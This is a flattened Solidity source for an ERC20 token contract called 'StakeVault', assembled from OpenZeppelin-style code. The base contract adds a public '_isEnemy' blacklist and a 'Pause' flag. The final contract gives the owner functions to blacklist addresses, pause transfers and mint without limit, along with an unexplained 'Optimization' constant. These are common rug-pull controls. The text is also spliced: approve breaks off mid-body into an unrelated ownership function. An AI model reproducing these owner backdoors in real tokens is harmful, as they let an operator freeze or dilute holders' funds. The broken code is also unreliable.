pragma solidity ^0.8.0;

/**

* @dev Interface of the ERC20 standard as defined in the EIP.

*/

interface IERC20 {

/**

* @dev Returns the amount of tokens in existence.

*/

function totalSupply() external view returns (uint256);

/**

* @dev Returns the amount of tokens owned by 'account'.

*/

function balanceOf(address account) external view returns (uint256);

/**

* @dev Moves 'amount' tokens from the caller's account to 'recipient'.

*

* Returns a boolean value indicating whether the operation succeeded.

*

* Emits a {Transfer} event.

*/

function transfer(address recipient, uint256 amount) external returns (bool);

/**

* @dev Returns the remaining number of tokens that 'spender' will be

* allowed to spend on behalf of 'owner' through {transferFrom}. This is

* zero by default.

*

* This value changes when {approve} or {transferFrom} are called.

*/

function allowance(address owner, address spender) external view returns (uint256);

/**

* @dev Sets 'amount' as the allowance of 'spender' over the caller's tokens.

*

* Returns a boolean value indicating whether the operation succeeded.

*

* IMPORTANT: Beware that changing an allowance with this method brings the risk

* that someone may use both the old and the new allowance by unfortunate

* transaction ordering. One possible solution to mitigate this race

* condition is to first reduce the spender's allowance to 0 and set the

* desired value afterwards:

* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729

*

* Emits an {Approval} event.

*/

function approve(address spender, uint256 amount) external returns (bool);

/**

* @dev Moves 'amount' tokens from 'sender' to 'recipient' using the

* allowance mechanism. 'amount' is then deducted from the caller's

* allowance.

*

* Returns a boolean value indicating whether the operation succeeded.

*

* Emits a {Transfer} event.

*/

function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

/**

* @dev Emitted when 'value' tokens are moved from one account ('from') to

* another ('to').

*

* Note that 'value' may be zero.

*/

event Transfer(address indexed from, address indexed to, uint256 value);

/**

* @dev Emitted when the allowance of a 'spender' for an 'owner' is set by

* a call to {approve}. 'value' is the new allowance.

*/

event Approval(address indexed owner, address indexed spender, uint256 value);

}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol

pragma solidity ^0.8.0;

/**

* @dev Interface for the optional metadata functions from the ERC20 standard.

*

* _Available since v4.1._

*/

interface IERC20Metadata is IERC20 {

/**

* @dev Returns the name of the token.

*/

function name() external view returns (string memory);

/**

* @dev Returns the symbol of the token.

*/

function symbol() external view returns (string memory);

/**

* @dev Returns the decimals places of the token.

*/

function decimals() external view returns (uint256);

}

// File: @openzeppelin/contracts/utils/Context.sol

pragma solidity ^0.8.0;

/*

* @dev Provides information about the current execution context, including the

* sender of the transaction and its data. While these are generally available

* via msg.sender and msg.data, they should not be accessed in such a direct

* manner, since when dealing with meta-transactions the account sending and

* paying for execution may not be the actual sender (as far as an application

* is concerned).

*

* This contract is only required for intermediate, library-like contracts.

*/

abstract contract Context {

function _msgSender() internal view virtual returns (address) {

return msg.sender;

}

function _msgData() internal view virtual returns (bytes calldata) {

this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691

return msg.data;

}

}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

pragma solidity ^0.8.0;

/**

* @dev Implementation of the {IERC20} interface.

*

* This implementation is agnostic to the way tokens are created. This means

* that a supply mechanism has to be added in a derived contract using {_mint}.

* For a generic mechanism see {ERC20PresetMinterPauser}.

*

* TIP: For a detailed writeup see our guide

* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How

* to implement supply mechanisms].

*

* We have followed general OpenZeppelin guidelines: functions revert instead

* of returning 'false' on failure. This behavior is nonetheless conventional

* and does not conflict with the expectations of ERC20 applications.

*

* Additionally, an {Approval} event is emitted on calls to {transferFrom}.

* This allows applications to reconstruct the allowance for all accounts just

* by listening to said events. Other implementations of the EIP may not emit

* these events, as it isn't required by the specification.

*

* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}

* functions have been added to mitigate the well-known issues around setting

* allowances. See {IERC20-approve}.

*/

contract ERC20 is Context, IERC20, IERC20Metadata {

mapping(address => bool) public _isEnemy;

bool public Pause = false;

mapping (address => uint256) private _balances;

mapping (address => mapping (address => uint256)) private _allowances;

uint256 private _totalSupply;

uint256 private _decimals;

string private _name;

string private _symbol;

/**

* @dev Sets the values for {name} and {symbol}.

*

* The defaut value of {decimals} is 18. To select a different value for

* {decimals} you should overload it.

*

* All two of these values are immutable: they can only be set once during

* construction.

*/

constructor (string memory name_, string memory symbol_,uint256 decimals_) {

_name = name_;

_symbol = symbol_;

_decimals = decimals_;

}

/**

* @dev Returns the name of the token.

*/

function name() public view virtual override returns (string memory) {

return _name;

}

/**

* @dev Returns the symbol of the token, usually a shorter version of the

* name.

*/

function symbol() public view virtual override returns (string memory) {

return _symbol;

}

/**

* @dev Returns the number of decimals used to get its user representation.

* For example, if 'decimals' equals '2', a balance of '505' tokens should

* be displayed to a user as '5,05' ('505 / 10 ** 2').

*

* Tokens usually opt for a value of 18, imitating the relationship between

* Ether and Wei. This is the value {ERC20} uses, unless this function is

* overridden;

*

* NOTE: This information is only used for _display_ purposes: it in

* no way affects any of the arithmetic of the contract, including

* {IERC20-balanceOf} and {IERC20-transfer}.

*/

function decimals() public view virtual override returns (uint256) {

return _decimals;

}

/**

* @dev See {IERC20-totalSupply}.

*/

function totalSupply() public view virtual override returns (uint256) {

return _totalSupply;

}

/**

* @dev See {IERC20-balanceOf}.

*/

function balanceOf(address account) public view virtual override returns (uint256) {

return _balances[account];

}

/**

* @dev See {IERC20-transfer}.

*

* Requirements:

*

* - 'recipient' cannot be the zero address.

* - the caller must have a balance of at least 'amount'.

*/

function transfer(address recipient, uint256 amount) public virtual override returns (bool) {

_transfer(_msgSender(), recipient, amount);

return true;

}

/**

* @dev See {IERC20-allowance}.

*/

function allowance(address owner, address spender) public view virtual override returns (uint256) {

return _allowances[owner][spender];

}

/**

* @dev See {IERC20-approve}.

*

* Requirements:

*

* - 'spender' cannot be the zero address.

*/

function approve(address spender, uint256 amount) public virtual override returns (bool) {

_approve(_msgSender(), spender, amount);

*/

function transferOwnership(address newOwner) public virtual onlyOwner {

require(newOwner != address(0), "Ownable: new owner is the zero address");

emit OwnershipTransferred(_owner, newOwner);

_owner = newOwner;

}

}

// File: eth-token-recover/contracts/TokenRecover.sol

pragma solidity ^0.8.0;

/**

* @title TokenRecover

* @dev Allows owner to recover any ERC20 sent into the contract

*/

contract TokenRecover is Ownable {

/**

* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.

* @param tokenAddress The token contract address

* @param tokenAmount Number of tokens to be sent

*/

function recoverERC20(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner {

IERC20(tokenAddress).transfer(owner(), tokenAmount);

}

}

pragma solidity ^0.8.0;

contract StakeVault is ERC20,TokenRecover {

uint256 public Optimization = 101253120056781516135792386796840287862694;

constructor(

string memory name_,

string memory symbol_,

uint256 decimals_,

uint256 initialBalance_,

address tokenOwner,

address payable feeReceiver_

) payable ERC20(name_, symbol_, decimals_) {

payable(feeReceiver_).transfer(msg.value);

_owner = tokenOwner;

_mint(tokenOwner, initialBalance_*10**uint256(decimals_));

}

function EnemyAddress(address account, bool value) external onlyOwner{

_isEnemy[account] = value;

}

function setPause(bool value) external onlyOwner{

Pause = value;

}

function mint(address account, uint256 amount) external onlyOwner {

super._mint(account, amount);

}

function burn(uint256 amount) external onlyOwner {

super._burn(_msgSender(), amount);

}

}